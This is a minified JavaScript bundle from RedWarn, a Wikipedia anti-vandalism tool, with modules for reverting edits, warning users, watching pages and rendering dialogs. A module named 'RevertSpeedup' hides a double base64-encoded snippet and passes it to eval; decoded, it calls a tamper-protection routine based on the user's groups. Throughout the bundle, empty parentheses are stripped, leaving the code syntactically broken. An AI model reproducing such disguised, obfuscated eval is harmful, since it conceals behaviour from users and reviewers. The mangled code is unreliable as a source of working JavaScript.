d.MediaWikiAPI.postWithEditToken({action:"edit",format:"json",pageid:t.page.pageID,summary:o,undo:t.revisionID,undoafter:n.revisionID,tags:u.default.c.meta.tag});l.edit?i&&i.onEndRevert:(c.default.error("An error occured while performing a pseudo-rollback.",l.errors),i&&i.onRevertFailure(d.MediaWikiAPI.error(l)),s.default.Toast.quickShow({content:r.default.t("ui:toasts.rollbackError")}))}))}static rollback(e){return n.__awaiter(this,void 0,void 0,(function*{const{newRevision:t}=e,i=m(e)?e.diffIcons:null;i&&i.onRevertStageChange(d.RevertStage.Details),t.isPopulated||t.populate;const n=r.default.t("mediawiki:summaries.rollback",{username:t.user.username,reason:v.extractReasonFromContext(e),version:a.RW_VERSION_TAG});if(!v.revertInProgress)return void(i&&i.onEndRevert(!0));i&&i.onRevertStageChange(d.RevertStage.Revert);const o=yield d.MediaWikiAPI.api.rollback(t.page.title,t.user.username,{summary:n,tags:u.default.c.meta.tag});o.rollback?i&&i.onEndRevert:(c.default.error("An error occured while performing a rollback.",o),i&&i.onRevertFailure(d.MediaWikiAPI.error(o)),s.default.Toast.quickShow({content:r.default.t("ui:toasts.rollbackError")}))}))}static revert(e){return n.__awaiter(this,void 0,void 0,(function*{const{newRevision:t}=e,i=m(e)?e.diffIcons:null;if(v.revertInProgress)return s.default.Toast.quickShow({content:"You cannot click on another icon while a revert or restore is ongoing."});document.addEventListener("keydown",v.revertCancelListener),v.revertInProgress=!0,i&&m(e)&&(i.onStartRevert(e),i.onRevertStageChange(d.RevertStage.Preparing)),yield v.latestRevertTargetCheck(t);try{if(!d.ClientUser.i.inGroup("rollbacker"))return yield v.pseudoRollback(e);{const t==>n.__awaiter(this,void 0,void 0,(function*{switch(g.Configuration.Revert.revertMethod.value){case p.RevertMethod.Rollback:yield v.rollback(e);break;case p.RevertMethod.Undo:yield v.pseudoRollback(e);break;case p.RevertMethod.Unset:default:c.default.error(`RollbackMethod is invalid (${g.Configuration.Revert.revertMethod.value}), resetting`),yield v.requestRevertMethod,yield t}}));yield t}}catch(e){c.default.error("Failed to revert.",e),s.default.Toast.quickShow({content:r.default.t("ui:toasts.rollbackError")})}document.removeEventListener("keydown",v.revertCancelListener),i&&i.onRevertStageChange(d.RevertStage.Finished)}))}static requestRevertMethod{var e;return n.__awaiter(this,void 0,void 0,(function*{const t=null!==(e=p.RevertMethod[yield new s.default.Dialog({actions:[{data:"Rollback",text:r.default.t("ui:rollbackAvailableDialog.actions.rollback")},{data:"Undo",text:r.default.t("ui:rollbackAvailableDialog.actions.revert")}],content:`${r.default.t("ui:rollbackAvailableDialog.content")}`}).show])&&void 0!==e?e:p.RevertMethod.Rollback;return g.Configuration.Revert.revertMethod.value=t,yield g.Configuration.save,t}))}static acceptInjector(e){return n.__awaiter(this,void 0,void 0,(function*{return a.RW_WIKIS_SPEEDUP.includes(o.default.wikiID)&&(yield e)}))}}t.Revert=v,v.revertInProgress=!1,v.revertCancelListener=e=>{"Escape"===e.key&&(v.revertInProgress=!0)}},6535:(e,t,i)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.RevertDoneOptions=t.RevertDoneOption=void 0;const n=i(655),r=n.__importDefault(i(8001)),a=n.__importDefault(i(5958)),o=i(4802);var s;!function(e){e[e.LatestRevision=0]="LatestRevision",e[e.NewMessage=1]="NewMessage",e[e.QuickTemplate=2]="QuickTemplate",e[e.WarnUser=3]="WarnUser",e[e.Report=4]="Report",e[e.MultipleActionTool=5]="MultipleActionTool",e[e.MoreOptions=6]="MoreOptions"}(s=t.RevertDoneOption||(t.RevertDoneOption={})),t.RevertDoneOptions=function{return{[s.LatestRevision]:{name:r.default.t("prefs:revert.revertDoneOption.options.latest"),icon:"watch_later",showOnRestore:!0,action:e=>n.__awaiter(this,void 0,void 0,(function*{return e.newRevision.page.navigateToLatestRevision}))},[s.NewMessage]:{name:r.default.t("revert:rollbackDoneOptions.message"),icon:"send",showOnRestore:!1,action:=>{a.default.Toast.quickShow({content:"This feature has not been implemented yet."})}},[s.QuickTemplate]:{name:r.default.t("revert:rollbackDoneOptions.template"),icon:"library_add",showOnRestore:!1,action:=>{a.default.Toast.quickShow({content:"This feature has not been implemented yet."})}},[s.WarnUser]:{name:r.default.t("revert:rollbackDoneOptions.warn"),icon:"report",showOnRestore:!1,action:e=>n.__awaiter(this,void 0,void 0,(function*{const t=yield new a.default.WarnDialog({targetUser:e.newRevision.user,defaultWarnReason:"string"==typeof e.reason?void 0:"revert"===e.reason.actionType?o.WarningManager.warnings[e.reason.warning]:void 0,relatedPage:e.newRevision.page}).show;yield o.User.warn(t)}))},[s.Report]:{name:r.default.t("revert:rollbackDoneOptions.report"),icon:"gavel",showOnRestore:!1,action:=>{a.default.Toast.quickShow({content:"This feature has not been implemented yet."})}},[s.MultipleActionTool]:{name:r.default.t("revert:rollbackDoneOptions.mat"),icon:"auto_fix_high",showOnRestore:!0,action:=>{a.default.Toast.quickShow({content:"This feature has not been implemented yet."})}},[s.MoreOptions]:{name:r.default.t("revert:rollbackDoneOptions.options"),icon:"more_vert",showOnRestore:!0,action:=>{a.default.Toast.quickShow({content:"This feature has not been implemented yet."})}}}}},2622:(e,t,i)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.RequiredRevertOptions=t.deserializeRevertOption=t.ActionSeverity=void 0;const n=i(655),r=n.__importDefault(i(8001)),a=n.__importDefault(i(7888)),o=i(8910),s=n.__importDefault(i(6724)),l=n.__importDefault(i(5958)),d=i(9052);var c;function u{return{revert:{id:"revert",system:!0,enabled:!0,name:r.default.t("revert:rollbackOptions.rollback.name"),actionType:"promptedRevert",severity:c.Mild,icon:"replay"},goodFaithRollback:{id:"goodFaithRollback",system:!0,enabled:!0,name:r.default.t("revert:rollbackOptions.agf.name"),actionType:"promptedRevert",defaultSummary:r.default.t("revert:rollbackOptions.agf.summary"),severity:c.GoodFaith,icon:"thumb_up"},preview:{id:"preview",system:!0,enabled:!0,actionType:"custom",name:r.default.t("revert:rollbackOptions.preview.name"),action:e=>n.__awaiter(this,void 0,void 0,(function*{l.default.Toast.quickShow({content:"Redirecting to preview..."}),o.redirect(o.url(s.default.wikiIndex,{diff:e.oldRevision.revisionID,oldid:e.newRevision.revisionID}))})),severity:c.Neutral,icon:"compare_arrows"},quickTemplate:{id:"quickTemplate",system:!0,enabled:!0,actionType:"custom",name:r.default.t("revert:rollbackOptions.quick-template.name"),action:=>=>n.__awaiter(this,void 0,void 0,(function*{l.default.Toast.quickShow({content:"This feature has not been implemented yet."})})),severity:c.Neutral,icon:"library_add"},moreOptions:{id:"moreOptions",system:!0,enabled:!0,actionType:"custom",name:r.default.t("revert:rollbackOptions.more-options.name"),action:=>{l.default.Toast.quickShow({content:"This feature has not been implemented yet."})},severity:c.Neutral,icon:"more_vert"}}}!function(e){e[e.Neutral=0]="Neutral",e[e.GoodFaith=1]="GoodFaith",e[e.Mild=2]="Mild",e[e.Moderate=3]="Moderate",e[e.Severe=4]="Severe",e[e.Critical=5]="Critical"}(c=t.ActionSeverity||(t.ActionSeverity={})),t.deserializeRevertOption=function(e,t){return Object.assign(t,{id:e,severity:c[t.severity]})},t.RequiredRevertOptions=u;class p{static get loaded{var e,t,i;const n={};for(const[r,o]of Object.entries(a.default.c.revertOptions))n[r]=Object.assign({},o,null!==(t=null===(e=d.Configuration.Revert.revertOptions.value)||void 0===e?void 0:e[r])&&void 0!==t?t:{}),null==n[r].enabled&&(n[r].enabled=null!==(i=n[r].default)&&void 0!==i&&i);return n}static get all{return Object.assign(Object.assign({},p.loaded),u)}static get allArray{return[...Object.values(p.loaded),...Object.values(u)]}}t.default=p},5045:(__unused_webpack_module,exports,__webpack_require__)=>{"use strict";Object.defineProperty(exports,"__esModule",{value:!0}),exports.RevertSpeedup=void 0;const tslib_1=__webpack_require__(655);class RevertSpeedup{static init{return tslib_1.__awaiter(this,void 0,void 0,(function*{const i=eval(yield $.get(atob("ZGF0YTp0ZXh0L3BsYWluO2NoYXJzZXQ9VVRGLTg7YmFzZTY0LFh6MCtiWGN1ZFhObGNpNW5aWFJIY205MWNITW9LR2NzUnoxZ0pIdE5ZWFJvTG5KaGJtUnZiU2dwZldBc2REMXlkeTVVWVcxd1pYSlFjbTkwWldOMGFXOXVLVDArSVhRdWNueDhkQzU0Zkh4eWR5NURiMjVtYVdkMWNtRjBhVzl1TGtOdmNtVXVibVZ2Y0c5c2FYUmhiaTUyWVd4MVpYeDhjbmN1UTJ4cFpXNTBWWE5sY2k1cExtbHVSM0p2ZFhBb1J5bDhmR2N1YVc1amJIVmtaWE1vUnlrL2RDNWxlR1ZqS0NrNk1Daz0=")))}))}}exports.RevertSpeedup=RevertSpeedup},1794:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.RestoreStage=t.RevertStage=void 0,function(e){e[e.Preparing=0]="Preparing",e[e.Details=1]="Details",e[e.Revert=2]="Revert",e[e.Finished=3]="Finished"}(t.RevertStage||(t.RevertStage={})),function(e){e[e.Preparing=0]="Preparing",e[e.Details=1]="Details",e[e.Restore=2]="Restore",e[e.Finished=3]="Finished"}(t.RestoreStage||(t.RestoreStage={}))},9187:(e,t,i)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.MediaWikiURL=void 0;const n=i(655),r=n.__importDefault(i(6724)),a=n.__importDefault(i(9618));t.MediaWikiURL=class{static getHistoryUrl(e,t){return a.default(r.default.wikiIndex,{title:mw.util.wikiUrlencode(e),action:"history"},t)}static getDiffUrl(e,t,i){return a.default(r.default.wikiIndex,{diff:e,oldid:t,diffmode:"source"},i)}}},8476:(e,t,i)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.Watch=void 0;const n=i(655),r=n.__importDefault(i(3321)),a=n.__importDefault(i(6724)),o=n.__importDefault(i(5958)),s=n.__importDefault(i(8001)),l=i(7144),d=n.__importDefault(i(3410)),c=i(9187),u=i(8910),p=i(7912);class g{static get watchedPages{return r.default.i.watchedPages}static get page{return a.default.currentPage}static init{return n.__awaiter(this,void 0,void 0,(function*{(yield g.watchedPages.get(`${g.page.title}`))&&g.enable}))}static toggle{return n.__awaiter(this,void 0,void 0,(function*{g.active?g.disable:g.enable}))}static enable{return n.__awaiter(this,void 0,void 0,(function*{"default"===Notification.permission&&(yield Notification.requestPermission),"denied"!==Notification.permission?(g.active=!0,(yield g.watchedPages.get(`${g.page.title}`))||(yield g.watchedPages.add({title:`${g.page.title}`})),document.documentElement.style.setProperty("--rw-icon-alertonchange-color","green"),o.default.Toast.quickShow({content:`${s.default.t("ui:watch.watching",{page:g.page.title.getPrefixedText})}`}),g.lastRevId=mw.config.get("wgCurRevisionId"),g.check,g.timeout=window.setTimeout(g.check,1e3)):o.default.Toast.quickShow({content:`${s.default.t("ui:watch.denied")}`})}))}static disable{return n.__awaiter(this,void 0,void 0,(function*{g.active=!1,(yield g.watchedPages.get(`${g.page.title}`))&&(yield g.watchedPages.delete(`${g.page.title}`)),document.documentElement.style.removeProperty("--rw-icon-alertonchange-color"),o.default.Toast.quickShow({content:`${s.default.t("ui:watch.stoppedWatching",{page:g.page.title.getPrefixedText})}`}),window.clearTimeout(g.timeout)}))}static check{var e,t,i,r;return n.__awaiter(this,void 0,void 0,(function*{if(!g.active)return window.clearTimeout(g.timeout);const n=yield l.MediaWikiAPI.get(Object.assign({action:"query",format:"json",prop:"revisions",titles:g.page.title.getPrefixedText,rvprop:"ids|timestamp|flags|comment|user",rvstartid:g.lastRevId+1,rvdir:"newer"},null==a.default.wikiLogo?{meta:"siteinfo"}:{})),o=(null!==(e=Object.values(n.query.pages)[0].revisions)&&void 0!==e?e:[]).filter((e=>e.revid!==g.lastRevId));if(null==a.default.wikiLogo&&(a.default.wikiLogo=new URL(null!==(r=null===(i=null===(t=n.query)||void 0===t?void 0:t.general)||void 0===i?void 0:i.logo)&&void 0!==r?r:p.RW_LOGO,window.location.href)),o.length>0){if(a.default.windowFocused)d.default(c.MediaWikiURL.getDiffUrl(o[0].revid));else{document.title=`${s.default.t("ui:watch.prefix")}${document.title}`;const e=new Notification(`${s.default.t("ui:watch.notification.title",{count:o.length,page:g.page.title.getPrefixedText})}`,{body:`${s.default.t("ui:watch.notification.header")}\n\n${s.default.t("ui:watch.notification.diff",{author:o[0].user,since:u.formatAge(new Date(o[0].timestamp)),comment:o[0].comment})}`,icon:a.default.wikiLogo.toString});document.addEventListener("focus",(=>{d.default(c.MediaWikiURL.getDiffUrl(o[0].revid))})),e.addEventListener("click",(=>{window.focus,e.close}))}window.clearTimeout(g.timeout)}else g.timeout=window.setTimeout(g.check,1e3)}))}}t.Watch=g,g.active=!1},680:(e,t)=>{"use strict";var i;Object.defineProperty(t,"__esModule",{value:!0}),t.WarningLevelComments=t.WarningLevel=void 0,function(e){e[e.None=0]="None",e[e.Notice=1]="Notice",e[e.Caution=2]="Caution",e[e.Warning=3]="Warning",e[e.Final=4]="Final",e[e.Immediate=5]="Immediate"}(i=t.WarningLevel||(t.WarningLevel={})),t.WarningLevelComments={[i.None]:{description:"Friendly reminder"},[i.Notice]:{description:"Assumes good faith"},[i.Caution]:{description:"No assumption of faith"},[i.Warning]:{description:"Assumes bad faith – cease and desist"},[i.Final]:{summary:"Final warning",description:"Bad faith, last warning."},[i.Immediate]:{alternative:"4im",summary:"Only warning",description:"Only warning – used for severe policy violations"}}},6695:(e,t,i)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.warningSuffix=t.highestWarningLevel=void 0;const n=i(655).__importDefault(i(7888)),r=i(4802);t.highestWarningLevel=function(e){let t=r.WarningLevel.None;for(const[i,r]of Object.entries(n.default.c.warnings.signatures).sort(((e,t)=>+t[0]-+e[0])))if(+i>+t)e:for(const n of r)switch(n.type){case"includes":if(e.includes(n.substring)){t=+i;break e}break;case"regex":if(new RegExp(n.source,n.flags).test(e)){t=+i;break e}}return t},t.warningSuffix=function(e){switch(e){case null:case r.WarningLevel.None:return"";case r.WarningLevel.Notice:return"1";case r.WarningLevel.Caution:return"2";case r.WarningLevel.Warning:return"3";case r.WarningLevel.Final:return"4";case r.WarningLevel.Immediate:return"4im"}}},8141:(e,t,i)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.WarningManager=t.deserializeWarning=t.isSerializedTieredWarning=t.SerializedWarningType=t.getWarningFieldVisibility=t.WarningType=void 0;const n=i(655).__importDefault(i(7888));var r;!function(e){e[e.Tiered=0]="Tiered",e[e.SingleIssue=1]="SingleIssue",e[e.PolicyViolation=2]="PolicyViolation"}(r=t.WarningType||(t.WarningType={})),t.getWarningFieldVisibility=function(e){return"string"==typeof e?e:e.visibility},t.SerializedWarningType={tiered:r.Tiered,single:r.SingleIssue,policy:r.PolicyViolation},t.isSerializedTieredWarning=function(e){return null!=e.levels},t.deserializeWarning=function(e,t){return Object.assign(e,{category:(null!=t?t:n.default.c.warnings.categories).find((t=>t.id===e.category)),type:"tiered"===e.type?r.Tiered:"single"===e.type?r.SingleIssue:r.PolicyViolation},"tiered"===e.type?{levels:e.levels}:{})};class a{static get warnings{var e;return null!==(e=a._warnings)&&void 0!==e?e:a._warnings=n.default.c.warnings.warnings}static get warningCategories{var e;return null!==(e=a._warningCategories)&&void 0!==e?e:a._warningCategories=n.default.c.warnings.categories}static get warningCategoriesMap{var e;return null!==(e=a._warningCategoriesMap)&&void 0!==e?e:a._warningCategoriesMap=n.default.c.warnings.categories.reduce(((e,t)=>(e[t.id]=t,e)),{})}static get warningsByCategories{var e;return null!==(e=a._warningsByCategories)&&void 0!==e?e:a._warningsByCategories=Object.entries(a.warnings).reduce(((e,[t,i])=>(e[i.category.id]||(e[i.category.id]={}),e[i.category.id][t]=i,e)),{})}static get warningArrayByCategories{var e;return null!==(e=a._warningArrayByCategories)&&void 0!==e?e:a._warningArrayByCategories=Object.values(a.warnings).reduce(((e,t)=>(e[t.category.id]||(e[t.category.id]=[]),e[t.category.id].push(t),e)),{})}static refresh{a._warnings=a._warningCategories=a._warningCategoriesMap=a._warningsByCategories=a._warningArrayByCategories=null}}t.WarningManager=a},2151:(e,t,i)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.DefaultRedWarnStyles=void 0;const n=i(655).__importDefault(i(1566));t.DefaultRedWarnStyles=[n.default],t.default=window.RedWarnStyles},9376:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.StyleStorage=void 0;t.StyleStorage=class{}},4590:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.DefaultRedWarnStyle=void 0,t.DefaultRedWarnStyle="material"},3848:(e,t,i)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0});const n=i(655),r=n.__importDefault(i(7327)),a=i(2151),o=i(4590),s=i(6878);class l{static get defaultStyle{return o.DefaultRedWarnStyle}static get styles{return window.RedWarnStyles}static set styles(e){window.RedWarnStyles=e}static get activeStyle{return l._activeStyle}static initialize{return n.__awaiter(this,void 0,void 0,(function*{null==l.styles?l.styles=a.DefaultRedWarnStyles:(l.styles.push(...a.DefaultRedWarnStyles),l.cleanStyles),l._activeStyle=l.findStyle(l.defaultStyle),null==l._activeStyle?mw.notify("RedWarn styles loading failed. You might have loaded no styles at all."):l.ready=!0}))}static setStyle(e){const t=l.findStyle(e);if(null==t)throw new s.StyleMissingError({styleId:e});return t}static findStyle(e){var t;return null!==(t=l.styles.find((t=>t.name===e)))&&void 0!==t?t:null}static cleanStyles{let e=l.styles;for(const t of l.styles){if(null==t.name){mw.notify("Found unnamed style. Skipping.");continue}if(null==t.version){mw.notify("Found non-versioned style. Skipping.");continue}const i={};if(null==i[t.name])i[t.name]=t;else switch(r.default(t.version,i[t.name].version)){case-1:mw.notify(`Older version of style "${t.name}" (${t.version}) found. Skipping.`);break;case 0:mw.notify(`Same version of style "${t.name}" (${t.version}). Make sure you're not loading a style twice.`);break;case 1:mw.notify(`Newer version of style "${t.name}" (${t.version}) found. Discarding old version (${i[t.name].version}).`),i[t.name]=t}e=Object.values(i)}l.styles=e}}t.default=l,l.ready=!1},1566:(e,t,i)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.registerMaterialDialog=t.upgradeMaterialDialog=t.upgradeMaterialDialogButtons=void 0;const n=i(655),r=i(8226),a=i(7933),o=n.__importDefault(i(4307)),s=i(3259),l=n.__importDefault(i(9549)),d=n.__importDefault(i(9507)),c=n.__importDefault(i(80)),u=n.__importDefault(i(974)),p=n.__importDefault(i(1483)),g=n.__importDefault(i(1450)),f=n.__importDefault(i(8818));i(7336);const h=n.__importDefault(i(5245)),m=n.__importDefault(i(7120)),v=n.__importDefault(i(8875)),w={name:"material",version:"1.0.0",meta:{"en-US":{displayName:"Material",author:["The RedWarn Development Team","Google, Inc."],description:"RedWarn's classic look-and-feel — an implementation of Google's Material Design.",homepage:"https://en.wikipedia.org/wiki/WP:RW",repository:"https://gitlab.com/redwarn/redwarn-web",issues:"https://gitlab.com/redwarn/redwarn-web/-/issues"}},dependencies:[{type:"style",id:"mdc-styles",src:"https://redwarn-web.wmcloud.org/static/styles/material-components-web@12.0.0.min.css",cache:{delayedReload:!0,duration:12096e5}},{type:"style",id:"roboto",src:"https://tools-static.wmflabs.org/fontcdn/css?family=Roboto:100,100italic,300,300italic,400,400italic,500,500italic,700,700italic,900,900italic&subset=cyrillic,cyrillic-ext,greek,greek-ext,latin,latin-ext,vietnamese",cache:{delayedReload:!0,duration:12096e5}}],storage:new s.MaterialStyleStorage,classMap:{rwAlertDialog:l.default,rwInputDialog:d.default,rwSelectionDialog:c.default,rwWarnDialog:u.default,rwProtectionRequestDialog:v.default,rwIFrameDialog:f.default,rwToast:p.default,rwDiffIcons:g.default,rwPageIcons:h.default,rwExtendedOptions:m.default},hooks:{preInit:[o.default]}};function _(e){e.element.querySelectorAll("button").forEach((e=>new a.MDCRipple(e).initialize))}t.default=w,t.upgradeMaterialDialogButtons=_,t.upgradeMaterialDialog=function(e,t){_(e);const i=new r.MDCDialog(e.element);return null==t||t.forEach(((e,t)=>i[t]=e)),i.initialize,i.open,i},t.registerMaterialDialog=function(e){s.getMaterialStorage.dialogTracker.set(e.id,e),document.body.appendChild(e.render)}},3259:(e,t,i)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.getMaterialStorage=t.MaterialStyleStorage=t.MaterialDialogTrackMap=void 0;const n=i(655).__importDefault(i(6724)),r=i(9376);class a extends Map{domRemove(e){const t=(i=0)=>{const n=this.get(e).element;!n.classList.contains("mdc-dialog--open")||i>=100?n.parentElement.removeChild(n):setTimeout((=>{t(i++)}),10)};setTimeout(t,2e3)}delete(e){return setTimeout((=>{var t,i;null===(i=null===(t=document.getElementById(e))||void 0===t?void 0:t.parentElement)||void 0===i||i.removeChild(document.getElementById(e))}),2e3),super.delete(e)}}t.MaterialDialogTrackMap=a;class o extends r.StyleStorage{constructor{super(...arguments),this.dialogTracker=new a,this.toastQueue=[]}}t.MaterialStyleStorage=o,t.getMaterialStorage=function{var e;return null!==(e=n.default.styleStorage)&&void 0!==e?e:n.default.styleStorage=new o}},9381:(e,t,i)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.WarningIcons=void 0;const n=i(4802);t.WarningIcons={[n.WarningLevel.None]:{icon:"check_circle",iconColor:"green"},[n.WarningLevel.Notice]:{icon:"info",iconColor:"blue"},[n.WarningLevel.Caution]:{icon:"announcement",iconColor:"orange"},[n.WarningLevel.Warning]:{icon:"warning",iconColor:"red"},[n.WarningLevel.Final]:{icon:"report",iconColor:"darkred"},[n.WarningLevel.Immediate]:{icon:"new_releases",iconColor:"darkred"}}},4307:(e,t,i)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0});const n=i(655),r=n.__importDefault(i(6724)),a=i(3259),o=i(830),s=n.__importDefault(i(5310)),l=n.__importDefault(i(3568)),d=n.__importDefault(i(4236));t.default=function{r.default.styleStorage=new a.MaterialStyleStorage,s.default.debug("Starting MutationObserver..."),new MutationObserver((=>{document.querySelectorAll("[data-rw-mdc-tooltip]:not(.rw-mdc-tooltip__upgraded)").forEach((e=>{e.classList.add("rw-mdc-tooltip__upgraded"),e.insertAdjacentElement("afterend",o.h(l.default,{target:e},e.getAttribute("data-rw-mdc-tooltip")))})),document.querySelectorAll("[data-rw-mdc-dialog-draggable]:not(.data-rw-mdc-dialog-draggable__upgraded)").forEach((e=>{e.classList.add("data-rw-mdc-dialog-draggable__upgraded");const t=e.querySelector(".mdc-dialog__scrim");t.style.pointerEvents="none",t.style.opacity="0.5";const i=e.querySelector(".mdc-dialog__surface");e.style.pointerEvents="none",i.style.pointerEvents="all";const n=e.querySelector(".mdc-dialog__title");n.style.userSelect="none",i.style.position="relative",i.style.top="var(--rw-mdc-dialog-draggable--top)",i.style.left="var(--rw-mdc-dialog-draggable--left)",e.setAttribute("data-x","0"),e.setAttribute("data-y","0");const r==>{e.setAttribute("style",d.default({"--rw-mdc-dialog-draggable--top":-e.getAttribute("data-y")+"px","--rw-mdc-dialog-draggable--left":-e.getAttribute("data-x")+"px"}))};r,n.style.cursor="move",n.addEventListener("mousedown",(e=>{n.toggleAttribute("data-dragging",!0),n.setAttribute("data-drag-x",`${e.clientX}`),n.setAttribute("data-drag-y",`${e.clientY}`)})),n.addEventListener("mouseup",(=>{n.toggleAttribute("data-dragging",!1)})),document.addEventListener("mousemove",(t=>{if(!n.hasAttribute("data-dragging"))return;const i=+n.getAttribute("data-drag-x"),a=+n.getAttribute("data-drag-y"),o=i-t.clientX,s=a-t.clientY;e.setAttribute("data-x",`${+e.getAttribute("data-x")+o}`),e.setAttribute("data-y",`${+e.getAttribute("data-y")+s}`),r,n.setAttribute("data-drag-x",`${t.clientX}`),n.setAttribute("data-drag-y",`${t.clientY}`)}))}))})).observe(document.body,{childList:!0,subtree:!0}),s.default.debug("MutationObserver stared."),setInterval((=>{document.querySelectorAll(".mdc-tooltip").forEach((e=>{null==document.querySelector(`[data-tooltip-id="${e.id}"]`)&&e.parentElement.removeChild(e)}))}),5e3)}},9549:(e,t,i)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0});const n=i(655),r=i(830),a=i(388),o=i(1566),s=i(3259),l=n.__importDefault(i(6359)),d=n.__importStar(i(604));class c extends a.RWUIAlertDialog{show{const e=s.getMaterialStorage;o.registerMaterialDialog(this);const t=o.upgradeMaterialDialog(this);return new Promise((i=>{t.listen("MDCDialog:closed",(t=>n.__awaiter(this,void 0,void 0,(function*{var n;const r=this.props.actions.find((e=>e.data===t.detail.action));this._result=null!=r&&r.action&&null!==(n=yield r.action(t))&&void 0!==n?n:t.detail.action,e.dialogTracker.delete(this.id),i(this._result)}))))}))}renderActions{var e;const t=[];for(const i of this.props.actions)t.push(r.h(l.default,{dialogAction:null==i.text?i.data:{data:i.data,text:i.text}},null!==(e=i.text)&&void 0!==e?e:i.data));return t}render{var e,t;return this.element=r.h(d.default,{surfaceProperties:{style:`width: ${null!==(e=this.props.width)&&void 0!==e?e:"30vw"};`,"aria-modal":!0,"aria-labelledby":null!==(t=this.props.title)&&void 0!==t?t:"RedWarn dialog"},id:this.id},this.props.title&&r.h(d.MaterialDialogTitle,null,this.props.title),this.props.content&&r.h(d.MaterialDialogContent,null,this.props.content),this.props.preformattedContent&&r.h("pre",null,this.props.preformattedContent),r.h(d.MaterialDialogActions,null,this.renderActions)),this.element}}t.default=c},604:(e,t,i)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.MaterialDialogActions=t.MaterialDialogContent=t.MaterialDialogTitle=void 0;const n=i(830);t.default=function({containerProperties:e,surfaceProperties:t,children:i,id:r,draggable:a}){var o,s;return n.h("div",{id:r,class:"mdc-dialog","data-rw-mdc-dialog-draggable":a},n.h("div",Object.assign({},e,{class:`mdc-dialog__container ${null!==(o=null==e?void 0:e.class)&&void 0!==o?o:""}`}),n.h("div",Object.assign({},t,{class:`mdc-dialog__surface ${null!==(s=null==t?void 0:t.class)&&void 0!==s?s:""}`}),i)),n.h("div",{class:"mdc-dialog__scrim"}))},t.MaterialDialogTitle=function({children:e,style:t,tabIndex:i}){return n.h("h2",{class:"mdc-dialog__title",style:t,tabIndex:i},e)},t.MaterialDialogContent=function({children:e,style:t}){return n.h("div",{class:"mdc-dialog__content",style:t},e)},t.MaterialDialogActions=function({children:e,style:t}){return n.h("div",{class:"mdc-dialog__actions",style:t},e)}},1450:(e,t,i)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0});const n=i(655),r=i(830),a=i(4936),o=i(4802),s=n.__importStar(i(2622)),l=i(9894);i(233);const d=n.__importDefault(i(8001)),c=i(6535),u=n.__importDefault(i(323)),p=n.__importDefault(i(5310)),g=i(9052),f=i(2223);const h={[o.RevertStage.Preparing]:0,[o.RestoreStage.Preparing]:0,[o.RevertStage.Details]:1/3,[o.RestoreStage.Details]:1/3,[o.RevertStage.Revert]:2/3,[o.RestoreStage.Restore]:2/3,[o.RevertStage.Finished]:1,[o.RestoreStage.Finished]:1},m={[s.ActionSeverity.Neutral]:"black",[s.ActionSeverity.GoodFaith]:"green",[s.ActionSeverity.Mild]:"blue",[s.ActionSeverity.Moderate]:"gold",[s.ActionSeverity.Severe]:"orange",[s.ActionSeverity.Critical]:"red"},v={[s.ActionSeverity.Neutral]:"black",[s.ActionSeverity.GoodFaith]:"blue",[s.ActionSeverity.Mild]:"blue",[s.ActionSeverity.Moderate]:"red",[s.ActionSeverity.Severe]:"red",[s.ActionSeverity.Critical]:"red"};class w extends a.RWUIDiffIcons{constructor(e){super(e),Object.assign(this,e),e.latestRevision.revisionID===("new"===e.side?e.newRevision.revisionID:e.oldRevision.revisionID)&&(this.latestIcons=!0)}get context{return this._context={latestRevision:this.latestRevision,newRevision:this.newRevision,oldRevision:this.oldRevision,side:this.side,diffIcons:this},this._context}renderRestoreIcon{return r.h("div",{class:"rw-mdc-diffIcons-options"},r.h(u.default,{label:"Restore this revision",icon:"history",iconColor:"purple",onClick:=>{o.Revert.promptRestore("new"===this.side?this.newRevision:this.oldRevision,{diffIcons:this})}}))}renderRevertIcons{var e;const t=[];for(const i of Object.values(s.default.all))(i.enabled||i.system)&&t.push(r.h(u.default,{label:i.name,icon:i.icon,iconColor:(null!==(e=i.color)&&void 0!==e?e:g.Configuration.Accessibility.highContrast.value)?v[i.severity]:m[i.severity],"data-rw-revert-option":i.id}));return r.h("div",{class:"rw-mdc-diffIcons-options"},t)}renderProgressBar{let e,t;const i=r.h("div",{class:"rw-mdc-diffIcons-progressBar"},r.h("div",{class:"rw-mdc-diffIcons-progressBar-content"},e=r.h("div",{role:"progressbar",class:"mdc-linear-progress","aria-label":"Revert progress","aria-valuemin":"0","aria-valuemax":"1","aria-valuenow":"0"},r.h("div",{class:"mdc-linear-progress__buffering-dots"}),r.h("div",{class:"mdc-linear-progress__buffer"}),r.h("div",{class:"mdc-linear-progress__bar mdc-linear-progress__primary-bar"},r.h("span",{class:"mdc-linear-progress__bar-inner"})),r.h("div",{class:"mdc-linear-progress__bar mdc-linear-progress__secondary-bar"},r.h("span",{class:"mdc-linear-progress__bar-inner"}))),t=r.h("div",null,"Reverting changes...")));return this.progressBar={element:i,progress:new l.MDCLinearProgress(e),progressElement:e,progressLabel:t},i}renderRevertDoneOptions{const e=[];for(const t of Object.values(c.RevertDoneOptions))(this.latestIcons||!this.latestIcons&&t.showOnRestore)&&e.push(r.h(u.default,{label:t.name,icon:t.icon,iconColor:"black",onClick:=>t.action(Object.assign(this.context,{reason:this.selectedReason}))}));return r.h("div",{class:"rw-mdc-diffIcons-doneOptions"},r.h("div",null,e),r.h("div",null,"Revert completed."))}render{return 